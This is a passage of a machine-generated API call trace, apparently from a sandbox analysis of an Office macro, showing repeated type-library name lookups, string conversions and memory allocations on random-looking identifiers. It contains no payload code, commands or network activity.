lcid=0x409, szName="YBmuBwGDFw") returned 0x1031d7 [0018.941] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="YBmuBwGDFw" | out: _Dst="YBmuBwGDFw") returned 0x0 [0018.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="YBmuBwGDFw") returned 11 [0018.941] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.941] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="YBmuBwGDFw", lHashVal=0x1031d7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.941] IUnknown:Release (This=0x7919520) returned 0x10 [0018.941] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.941] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="YBmuBwGDFw", lHashVal=0x1031d7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.941] IUnknown:Release (This=0x7346470) returned 0xb [0018.942] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.942] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="YBmuBwGDFw", lHashVal=0x1031d7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.942] IUnknown:Release (This=0x7345930) returned 0x7 [0018.942] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.942] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="YBmuBwGDFw", lHashVal=0x1031d7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.942] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.942] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0018.942] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_YBmuBwGDFw" | out: _Dst="_B_var_YBmuBwGDFw") returned 0x0 [0018.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_YBmuBwGDFw") returned 18 [0018.942] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.942] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_YBmuBwGDFw", lHashVal=0x10a041, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.942] IUnknown:Release (This=0x7919520) returned 0x10 [0018.942] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.942] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_YBmuBwGDFw", lHashVal=0x10a041, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.942] IUnknown:Release (This=0x7346470) returned 0xb [0018.942] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.942] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_YBmuBwGDFw", lHashVal=0x10a041, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.942] IUnknown:Release (This=0x7345930) returned 0x7 [0018.942] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.942] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_YBmuBwGDFw", lHashVal=0x10a041, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.942] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.942] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.942] IUnknown:Release (This=0x7919520) returned 0x10 [0018.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb772ec, cbMultiByte=40, lpWideCharStr=0xd0e38d4, cchWideChar=82 | out: lpWideCharStr="PXWvXrTQJrTXJmpwiiafIaVpTAGh MzFFGFzObrX") returned 40 [0018.942] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd0f0000 [0018.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cOwvibZBf") returned 0x10a020 [0018.943] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="cOwvibZBf" | out: _Dst="cOwvibZBf") returned 0x0 [0018.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="cOwvibZBf") returned 10 [0018.943] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.943] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="cOwvibZBf", lHashVal=0x10a020, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.943] IUnknown:Release (This=0x7919520) returned 0x10 [0018.943] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.943] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="cOwvibZBf", lHashVal=0x10a020, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.943] IUnknown:Release (This=0x7346470) returned 0xb [0018.943] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.943] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="cOwvibZBf", lHashVal=0x10a020, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.943] IUnknown:Release (This=0x7345930) returned 0x7 [0018.943] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.943] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="cOwvibZBf", lHashVal=0x10a020, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.943] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.943] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.943] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_cOwvibZBf" | out: _Dst="_B_var_cOwvibZBf") returned 0x0 [0018.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_cOwvibZBf") returned 17 [0018.943] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.943] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_cOwvibZBf", lHashVal=0x1099e4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.943] IUnknown:Release (This=0x7919520) returned 0x10 [0018.943] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.943] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_cOwvibZBf", lHashVal=0x1099e4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.943] IUnknown:Release (This=0x7346470) returned 0xb [0018.943] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.943] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_cOwvibZBf", lHashVal=0x1099e4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.943] IUnknown:Release (This=0x7345930) returned 0x7 [0018.943] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.943] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_cOwvibZBf", lHashVal=0x1099e4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.943] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.944] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.944] IUnknown:Release (This=0x7919520) returned 0x10 [0018.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7732c, cbMultiByte=10, lpWideCharStr=0xd0f064c, cchWideChar=22 | out: lpWideCharStr="GEUpApPpjH") returned 10 [0018.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77346, cbMultiByte=10, lpWideCharStr=0xd0f0a96, cchWideChar=22 | out: lpWideCharStr="NFJsrhUiQN") returned 10 [0018.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7735a, cbMultiByte=10, lpWideCharStr=0xd0f0c40, cchWideChar=22 | out: lpWideCharStr="vLmJJfSkad") returned 10 [0018.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7736e, cbMultiByte=10, lpWideCharStr=0xd0f0dea, cchWideChar=22 | out: lpWideCharStr="mfrrYfnwwj") returned 10 [0018.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77382, cbMultiByte=10, lpWideCharStr=0xd0f0f94, cchWideChar=22 | out: lpWideCharStr="ihuNdTspVz") returned 10 [0018.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77396, cbMultiByte=10, lpWideCharStr=0xd0f113e, cchWideChar=22 | out: lpWideCharStr="ZuazUuSLjV") returned 10 [0018.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb773aa, cbMultiByte=10, lpWideCharStr=0xd0f12e8, cchWideChar=22 | out: lpWideCharStr="XiPGUiOSTM") returned 10 [0018.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb773be, cbMultiByte=10, lpWideCharStr=0xd0f1492, cchWideChar=22 | out: lpWideCharStr="tXkjfNRZfp") returned 10 [0018.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JGbijjR") returned 0x1032a7 [0018.945] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="JGbijjR" | out: _Dst="JGbijjR") returned 0x0 [0018.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="JGbijjR") returned 8 [0018.945] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.945] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="JGbijjR", lHashVal=0x1032a7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.945] IUnknown:Release (This=0x7919520) returned 0x10 [0018.945] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.945] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="JGbijjR", lHashVal=0x1032a7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.945] IUnknown:Release (This=0x7346470) returned 0xb [0018.945] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.945] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="JGbijjR", lHashVal=0x1032a7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.945] IUnknown:Release (This=0x7345930) returned 0x7 [0018.945] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.945] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="JGbijjR", lHashVal=0x1032a7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.945] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.945] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0018.945] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_JGbijjR" | out: _Dst="_B_var_JGbijjR") returned 0x0 [0018.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_JGbijjR") returned 15 [0018.945] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.945] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_JGbijjR", lHashVal=0x10362b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.945] IUnknown:Release (This=0x7919520) returned 0x10 [0018.945] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.945] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_JGbijjR", lHashVal=0x10362b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.945] IUnknown:Release (This=0x7346470) returned 0xb [0018.945] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.945] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_JGbijjR", lHashVal=0x10362b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.945] IUnknown:Release (This=0x7345930) returned 0x7 [0018.945] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.945] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_JGbijjR", lHashVal=0x10362b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.945] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.945] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.945] IUnknown:Release (This=0x7919520) returned 0x10 [0018.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb773dc, cbMultiByte=10, lpWideCharStr=0xd0f3904, cchWideChar=22 | out: lpWideCharStr="uDarKAMwFU") returned 10 [0018.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb773f6, cbMultiByte=10, lpWideCharStr=0xd0f3d4e, cchWideChar=22 | out: lpWideCharStr="nLMzuTwipj") returned 10 [0018.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7740a, cbMultiByte=10, lpWideCharStr=0xd0f3ef8, cchWideChar=22 | out: lpWideCharStr="WhLBqPqQRC") returned 10 [0018.946] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd100000 [0018.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7741e, cbMultiByte=10, lpWideCharStr=0xd1000a4, cchWideChar=22 | out: lpWideCharStr="kbvoIijjFz") returned 10 [0018.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77432, cbMultiByte=10, lpWideCharStr=0xd10024e, cchWideChar=22 | out: lpWideCharStr="GzTaiaTmVw") returned 10 [0018.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77446, cbMultiByte=10, lpWideCharStr=0xd1003f8, cchWideChar=22 | out: lpWideCharStr="jwqdPMrYBv") returned 10 [0018.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7745a, cbMultiByte=10, lpWideCharStr=0xd1005a2, cchWideChar=22 | out: lpWideCharStr="KwiDkMQXrP") returned 10 [0018.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7746e, cbMultiByte=10, lpWideCharStr=0xd10074c, cchWideChar=22 | out: lpWideCharStr="jSZpZWOlXP") returned 10 [0018.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MlzPvz") returned 0x104cd1 [0018.947] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="MlzPvz" | out: _Dst="MlzPvz") returned 0x0 [0018.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="MlzPvz") returned 7 [0018.947] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.947] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="MlzPvz", lHashVal=0x104cd1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.947] IUnknown:Release (This=0x7919520) returned 0x10 [0018.947] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.947] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="MlzPvz", lHashVal=0x104cd1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.947] IUnknown:Release (This=0x7346470) returned 0xb [0018.947] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.947] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="MlzPvz", lHashVal=0x104cd1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.947] IUnknown:Release (This=0x7345930) returned 0x7 [0018.947] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.948] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="MlzPvz", lHashVal=0x104cd1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.948] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.948] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.948] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_MlzPvz" | out: _Dst="_B_var_MlzPvz") returned 0x0 [0018.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_MlzPvz") returned 14 [0018.948] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.948] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_MlzPvz", lHashVal=0x10c77a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.948] IUnknown:Release (This=0x7919520) returned 0x10 [0018.948] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.948] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_MlzPvz", lHashVal=0x10c77a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.948] IUnknown:Release (This=0x7346470) returned 0xb [0018.948] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.948] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_MlzPvz", lHashVal=0x10c77a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.948] IUnknown:Release (This=0x7345930) returned 0x7 [0018.948] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.948] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_MlzPvz", lHashVal=0x10c77a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.948] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.948] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.948] IUnknown:Release (This=0x7919520) returned 0x10 [0018.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7748c, cbMultiByte=10, lpWideCharStr=0xd102bbe, cchWideChar=22 | out: lpWideCharStr="cKAprAJwjA") returned 10 [0018.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb774a6, cbMultiByte=10, lpWideCharStr=0xd103008, cchWideChar=22 | out: lpWideCharStr="zMHhnrjRzv") returned 10 [0018.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb774ba, cbMultiByte=10, lpWideCharStr=0xd1031b2, cchWideChar=22 | out: lpWideCharStr="PwESGqRFPt") returned 10 [0018.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb774ce, cbMultiByte=10, lpWideCharStr=0xd10335c, cchWideChar=22 | out: lpWideCharStr="CHMMaBkZpz") returned 10 [0018.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb774e2, cbMultiByte=10, lpWideCharStr=0xd103506, cchWideChar=22 | out: lpWideCharStr="XNLJivCwDw") returned 10 [0018.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb774f6, cbMultiByte=10, lpWideCharStr=0xd1036b0, cchWideChar=22 | out: lpWideCharStr="cfDhbfFhiA") returned 10 [0018.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7750a, cbMultiByte=10, lpWideCharStr=0xd10385a, cchWideChar=22 | out: lpWideCharStr="jEjnzrAuGm") returned 10 [0018.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7751e, cbMultiByte=10, lpWideCharStr=0xd103a04, cchWideChar=22 | out: lpWideCharStr="HKczXCkvkK") returned 10 [0018.949] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd110000 [0018.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zFzPGszM") returned 0x10677b [0018.950] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="zFzPGszM" | out: _Dst="zFzPGszM") returned 0x0 [0018.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="zFzPGszM") returned 9 [0018.950] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.950] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="zFzPGszM", lHashVal=0x10677b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.950] IUnknown:Release (This=0x7919520) returned 0x10 [0018.950] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.950] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="zFzPGszM", lHashVal=0x10677b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.950] IUnknown:Release (This=0x7346470) returned 0xb [0018.950] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.950] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="zFzPGszM", lHashVal=0x10677b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.950] IUnknown:Release (This=0x7345930) returned 0x7 [0018.950] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.950] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="zFzPGszM", lHashVal=0x10677b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.950] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.950] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.950] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_zFzPGszM" | out: _Dst="_B_var_zFzPGszM") returned 0x0 [0018.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_zFzPGszM") returned 16 [0018.950] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.950] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_zFzPGszM", lHashVal=0x103f04, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.950] IUnknown:Release (This=0x7919520) returned 0x10 [0018.950] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.950] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_zFzPGszM", lHashVal=0x103f04, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.950] IUnknown:Release (This=0x7346470) returned 0xb [0018.950] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.950] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_zFzPGszM", lHashVal=0x103f04, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.951] IUnknown:Release (This=0x7345930) returned 0x7 [0018.951] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.951] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_zFzPGszM", lHashVal=0x103f04, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.951] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.951] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.951] IUnknown:Release (This=0x7919520) returned 0x10 [0018.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7753c, cbMultiByte=16, lpWideCharStr=0xd111eac, cchWideChar=34 | out: lpWideCharStr="JNwEWaNG^EcwVURL") returned 16 [0018.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="liABVz") returned 0x10e7eb [0018.951] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="liABVz" | out: _Dst="liABVz") returned 0x0 [0018.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="liABVz") returned 7 [0018.951] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.951] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="liABVz", lHashVal=0x10e7eb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.951] IUnknown:Release (This=0x7919520) returned 0x10 [0018.951] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.951] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="liABVz", lHashVal=0x10e7eb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.951] IUnknown:Release (This=0x7346470) returned 0xb [0018.951] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.951] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="liABVz", lHashVal=0x10e7eb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.951] IUnknown:Release (This=0x7345930) returned 0x7 [0018.951] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.951] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="liABVz", lHashVal=0x10e7eb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.951] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.951] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.951] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_liABVz" | out: _Dst="_B_var_liABVz") returned 0x0 [0018.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_liABVz") returned 14 [0018.951] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.951] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_liABVz", lHashVal=0x106255, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.951] IUnknown:Release (This=0x7919520) returned 0x10 [0018.951] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.951] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_liABVz", lHashVal=0x106255, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.951] IUnknown:Release (This=0x7346470) returned 0xb [0018.951] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.951] 